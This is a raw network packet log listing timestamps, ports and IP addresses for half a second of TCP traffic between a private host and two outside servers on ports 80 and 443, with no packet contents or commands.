Oct 7, 2024 19:33:14.931310892 CEST	443	49725	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:14.931320906 CEST	443	49725	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:14.935753107 CEST	49731	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:14.935791969 CEST	443	49731	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:14.935863972 CEST	49731	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:14.936022043 CEST	49731	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:14.936032057 CEST	443	49731	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:15.034003019 CEST	443	49726	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:15.034460068 CEST	49726	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:15.034468889 CEST	443	49726	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:15.036051035 CEST	49726	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:15.036055088 CEST	443	49726	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:15.053445101 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.053499937 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.054112911 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.059170961 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.117125988 CEST	443	49728	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:15.117616892 CEST	49728	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:15.117635012 CEST	443	49728	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:15.118139029 CEST	49728	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:15.118144989 CEST	443	49728	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:15.125988960 CEST	443	49729	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:15.126605988 CEST	49729	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:15.126624107 CEST	443	49729	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:15.127132893 CEST	49729	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:15.127137899 CEST	443	49729	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:15.130009890 CEST	443	49726	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:15.130043983 CEST	443	49726	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:15.130110979 CEST	49726	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:15.130397081 CEST	49726	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:15.130409956 CEST	443	49726	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:15.130419970 CEST	49726	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:15.130424976 CEST	443	49726	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:15.132631063 CEST	49733	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:15.132643938 CEST	443	49733	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:15.132817984 CEST	49733	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:15.132941961 CEST	49733	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:15.132952929 CEST	443	49733	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:15.219147921 CEST	443	49728	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:15.219319105 CEST	443	49728	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:15.219460964 CEST	49728	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:15.219629049 CEST	49728	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:15.219644070 CEST	443	49728	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:15.219652891 CEST	49728	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:15.219656944 CEST	443	49728	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:15.221762896 CEST	49734	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:15.221806049 CEST	443	49734	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:15.221924067 CEST	49734	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:15.222091913 CEST	49734	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:15.222105026 CEST	443	49734	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:15.227065086 CEST	443	49729	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:15.227129936 CEST	443	49729	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:15.227246046 CEST	49729	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:15.227246046 CEST	49729	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:15.227277040 CEST	49729	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:15.227286100 CEST	443	49729	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:15.227675915 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.227834940 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.227854013 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.227865934 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.227876902 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.227895021 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.227919102 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.228018045 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.228239059 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.228245020 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.228256941 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.228281975 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.228297949 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.228602886 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.228614092 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.228625059 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.228641987 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.228658915 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.229198933 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.229209900 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.229222059 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.229227066 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.229252100 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.229284048 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.229927063 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.229933023 CEST	49735	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:15.229938984 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.229950905 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.229954004 CEST	443	49735	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:15.229973078 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.229994059 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.230246067 CEST	49735	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:15.230246067 CEST	49735	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:15.230289936 CEST	443	49735	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:15.309761047 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.309782982 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.309793949 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.309812069 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.309828043 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.309842110 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.309920073 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.309932947 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.309963942 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.309981108 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.311022997 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.311036110 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.311079025 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.312571049 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.312588930 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.312601089 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.312638998 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.312712908 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.312714100 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.312725067 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.312736988 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.312751055 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.312776089 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.313029051 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.313047886 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.313060045 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.313092947 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.313128948 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.313152075 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.313163996 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.313178062 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.313193083 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.313214064 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.313996077 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.314045906 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.314059973 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.314070940 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.314095020 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.314117908 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.314165115 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.314177990 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.314233065 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.314966917 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.315011024 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.315012932 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.315026045 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.315037012 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.315051079 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.315062046 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.315077066 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.315378904 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.315458059 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.315459013 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.315493107 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.392188072 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.392199993 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.392210960 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.392298937 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.392298937 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.392359018 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.392370939 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.392381907 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.392482996 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.392482996 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.392529964 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.392618895 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.392877102 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.392918110 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.394329071 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.394340992 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.394372940 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.394387007 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.394510031 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.394521952 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.394531965 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.394541979 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.394546986 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.394568920 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.394599915 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.394773006 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.394784927 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.394797087 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.394819021 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.394844055 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.394917011 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.394928932 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.394952059 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.394978046 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.396728992 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.396747112 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.396759987 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.396769047 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.396770954 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.396783113 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.396783113 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.396795034 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.396799088 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.396815062 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.396817923 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.396826029 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.396840096 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.396842003 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.396852970 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.396872997 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.396899939 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.397195101 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.397207022 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.397236109 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.397253036 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.397267103 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.397494078 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.397505999 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.397516966 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.397547007 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.397562981 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.397572041 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.397576094 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.397588015 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.397610903 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.397633076 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.398219109 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.398230076 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.398241997 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.398267031 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.398281097 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.398293972 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.398307085 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.398329020 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.398329973 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.398336887 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.398344040 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.398356915 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.398375988 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.398400068 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.399255991 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.399266958 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.399277925 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.399288893 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.399292946 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.399300098 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.399323940 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.399336100 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.399347067 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.399358988 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.399369955 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.399379969 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.399398088 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.399420977 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.400152922 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.400279045 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.400310993 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.400374889 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.438848972 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.438990116 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.438998938 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.439109087 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.455779076 CEST	443	49730	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:15.456453085 CEST	49730	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:15.456466913 CEST	443	49730	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:15.456934929 CEST	49730	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:15.456942081 CEST	443	49730	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:15.476445913 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.476496935 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.476499081 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.476512909 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.476538897 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.476553917 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.476578951 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.476607084 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.476618052 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.476629019 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.476644993 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.476648092 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.476660013 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.476670980 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.476681948 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.476691008 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.476706028 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.476737022 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.478761911 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.478790045 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.478802919 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.478841066 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.478873968 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.478948116 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.478960037 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.478972912 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.478991032 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.479001999 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.479015112 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.479020119 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.479032040 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.479044914 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.479044914 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.479055882 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.479058981 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.479070902 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.479084969 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.479084969 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.479094982 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.479109049 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.479121923 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.479125023 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.479136944 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.479141951 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.479151011 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.479154110 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.479167938 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.479180098 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.479203939 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.481097937 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.481113911 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.481125116 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.481137991 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.481144905 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.481153011 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.481154919 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.481167078 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.481178045 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.481190920 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.481190920 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.481204987 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.481211901 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.481225967 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.481249094 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.481261015 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.481271982 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.481281996 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.481292963 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.481297016 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.481308937 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.481312990 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.481321096 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.481333017 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.481333017 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.481343985 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.481358051 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.481372118 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.481403112 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.481570005 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.481581926 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.481592894 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.481612921 CEST	49718	80	192.168.2.7	46.8.231.109
